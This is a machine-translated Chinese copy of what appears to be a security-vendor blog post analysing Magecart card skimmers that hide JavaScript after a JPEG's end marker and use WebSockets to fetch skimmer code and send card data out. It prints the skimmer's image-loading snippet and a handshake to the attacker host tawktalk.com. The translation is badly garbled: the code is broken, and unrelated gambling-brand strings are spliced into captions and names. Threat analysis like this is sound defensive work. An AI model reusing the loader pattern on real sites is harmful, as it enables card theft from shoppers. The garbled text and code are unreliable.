多年来,犯罪分子已经能够从未引起过多的关注,从未惊讶的在线购物者窃取信用卡详细信息。安全行业的人们正在谈论这些信用卡网撇网客,两位服务器端和客户端,在后者在很大程度上被称为Magecart

发生了一些重大事件,尤其是Ticketmaster英国航空将这一日益严重的威胁置于聚光灯下,并最终提高网上商家和消费者的意识。

在更严格审查的压力下,特别是来自一些安全研究人员的压力下,一些威胁行为者开始进化他们的技术。这是一个很自然的反应,不仅限于网络浏览,而且适用于任何恶意企业,无论是否网络。

最近的一个进化包括两个新的逃避技术,适用于用于隐藏其欺诈活动的客户端网络撇纤维者。

隐写术:一张照片胜过一千个秘密

恶意软件作者长期以来一直使用隐写术,作为隐藏合法的图像中的数据的一种方式。回到2014年,我们描述了一种新的变体宙斯银行木马叫ZeusVM它把自己的配置数据隐藏在一张美丽的日落照片中。

在网站安全的背景下,在图片文件中隐藏恶意代码是一种很好的不被发现的方法。举个例子,一个电子商务网站及其加载的各种组件——其中许多是徽标、产品图片等等。

12月26日,@AffableKraut披露第一个公开记录的基于隐写术的信用卡扫描器。在肉眼看来,这张图片就像购物网站上常见的免费送货缎带。

图1:在购物网站上找到一个免费的送货商标

可能有问题的唯一迹象是文件格式不正确,在文件的正常结束后发现了额外的数据。

为了更好地理解这种数据可能的内容,我们可以在十六进制编辑器中查看图像。文件交换格式(就是以前),因为JPEG编码具有特定的结构。我们用的是安吉·阿尔贝蒂尼的作为一个指南。

图2:从文件开头查看图像结构

到目前为止,图像符合其要求,似乎没有任何特别的特别之处。但是,如果我们记得我们在图1中看到的内容,则在最终段后添加了额外的数据,其中具有标记FF D9。

图3:查看图像的结构,正常结束后的文件

现在我们可以看到JavaScript代码在文件标记结束后立即开始。看看它的一些字符串,比如在切割authorizenet,我们可以立即推断这是信用卡撇码代码。

我们发现的所有受损站点我们发现使用隐写撇渣器被注入类似的代码片段(通常在之后页脚元素或谷歌Tag Manager)来加载虚假图像并解析其JavaScript内容片()方法。

var xhr = new xmlhttproquest();
xhr.open('get','[图像路径]',true);
xhr.send ();
xhr。Onreadystatechange = function() {
如果这一点。= 4) return;
如果这一点。状态== 200){
var F=new Function (this.responseText.slice(-[number]));
返回(F ());

碰巧的是,大多数网络爬虫和扫描程序将集中于HTML和JavaScript文件,而往往忽略媒体文件,因为它们往往比较大,处理速度较慢。还有比这更好的地方吗?

几年前,有正如大家所知道的那样活动主要将受害者重定向到“垂钓者”工具包,这是最先进的工具包之一,可以用恶意软件感染用户。一个威胁行动者使用了类似的技术,将指纹代码隐藏在假的GIF图像.当时,这是Crème de la crème正如大家所知道的技术。

从某种意义上说,直接加载或来自第三方的任何文件都应被视为可疑。@affablekraut链接到一个名为的开源文件扫描系统Strelka这可能有助于防御者检测异常文件。

图4:使用隐写术阻挡必威平台APP撇渣器的Malwaryby

WebSockets而不是HTTP

WebSocket是一种通信协议,它允许数据流在客户端和服务器之间通过一个TCP连接进行交换。因此,WebSockets不同于更常见的HTTP协议,后者由客户端对服务器的请求和响应组成。

图5:比较WebSocket和HTTP协议

虽然WebSockets在实时数据传输方面很有优势,但这并不是威胁参与者对它们感兴趣的原因。对于它们特定的用例,WebSockets提供了一种比典型的HTTP请求-响应更隐蔽的数据交换方式。

使用网络浏览器,有一些我们要寻找的文物:

  • Skimmer代码直接注入到一个被破坏的站点(DOM中的JavaScript)
  • 从外部资源加载的略读代码(带有src属性的脚本标记)
  • 泄漏被盗数据(带有编码数据的HTTP GET或HTTP POST请求)

然而,WebSockets提供了另一种交换数据的方式发现由@affablekraut..第一个组件是略读代码本身,然后是数据外泄。

攻击者确实需要加载一个新的WebSocket,并且可以在DOM中检测到。然而,他们很聪明地混淆了代码,使其完全融入其中。

图6:秘密加载WebSocket的恶意代码

目标是隐藏与WebSocket由犯罪分子控制的服务器的连接。此JavaScript代码在浏览器中运行,它将触发以下客户端握手请求:

得到https://tawktalk.com/modernize/css/ HTTP / 1.1
主持人:tawktalk.com
连接:升级
pragma:没有缓存
cache - control: no - cache
用户代理:{删除}
升级:WebSocket.
起源:https:// www。{删除} .com
Sec-WebSocket-Version: 13
接受编码:gzip, deflate, br
接收语言:en - us, en; q = 0.9
Sec-WebSocket-Key:{删除}
SEC-WebSocket-extensions:permessage-leflate;client_max_window_bits.

之后是服务器握手响应:

HTTP / 1.1 101交换协议
服务器:nginx / 1.12.2
日期:{删除}
连接:升级
升级:WebSocket.
Sec-WebSocket-Accept:{删除}
终点:{删除}
ReceivedBytes: 22296
SentBytes: 57928

一旦建立了这一点,将在客户端(受害者的浏览器)和服务器(恶意主机)之间交换一系列双向消息。将更大的Base64编码模块下载到客户端上并作为JavaScript代码进行处理。这结果是信用卡撇码代码。

图7:WebSocket消息,下载skimmer,然后泄漏CC数据

以下较小的消息是对签出页面上的表单字段的过滤尝试。数据已经加密,以使其不那么明显。我们可以看到有重复,就像我们遇到的一些传统的撇脂器,触发基于重复计时器事件的外漏。

WebSockets也被另一个Web威胁使用,当时几乎每天都会制作头条新闻:cryptojacking.在这种情况下,由于隐藏但效率并不是那么多,因为浏览器挖掘过程必须为每个新的挖掘作业发送回服务器的哈希。但是,我们确实注意到使用WebSockets与代理的串联以逃避检测。

图8:使用WebSo必威平台APPckets阻止撇渣器的Malwareby

不同的技巧,相同的保护

本博客中描述的技术无疑会给防御者带来麻烦,并给一些威胁行动者额外的时间在不被打扰的情况下进行他们的活动。但正如之前提到的,这种猫捉老鼠的游戏是预期在Magecart的定期新出版物和网络浏览。

还有其他方法可以隐藏和加载恶意脚本。尽管这项技术已经退役,但通过ActionScript的Flash Player还是许多恶意软件活动的一个很好的载体。例如,一个著名的重定向基础设施叫做eit曾经拥有一个SWF文件,将恶意iframe加载到漏洞套件。

虽然大多数恶意软件作者将继续使用传统方法,但更先进的演员将以逃避检测的新方法来提出。某些技术可以针对研究人员瞄准,而其他技术则可能旨在绕过Web爬虫。

在Ma必威平台APPlwarebytes,我们继续监控这种威胁的变化,以确保我们的用户安全。通过我们的必威平台APP伪安全软件

我们要感谢@AffableKraut以分享有关这些略读技巧的细节。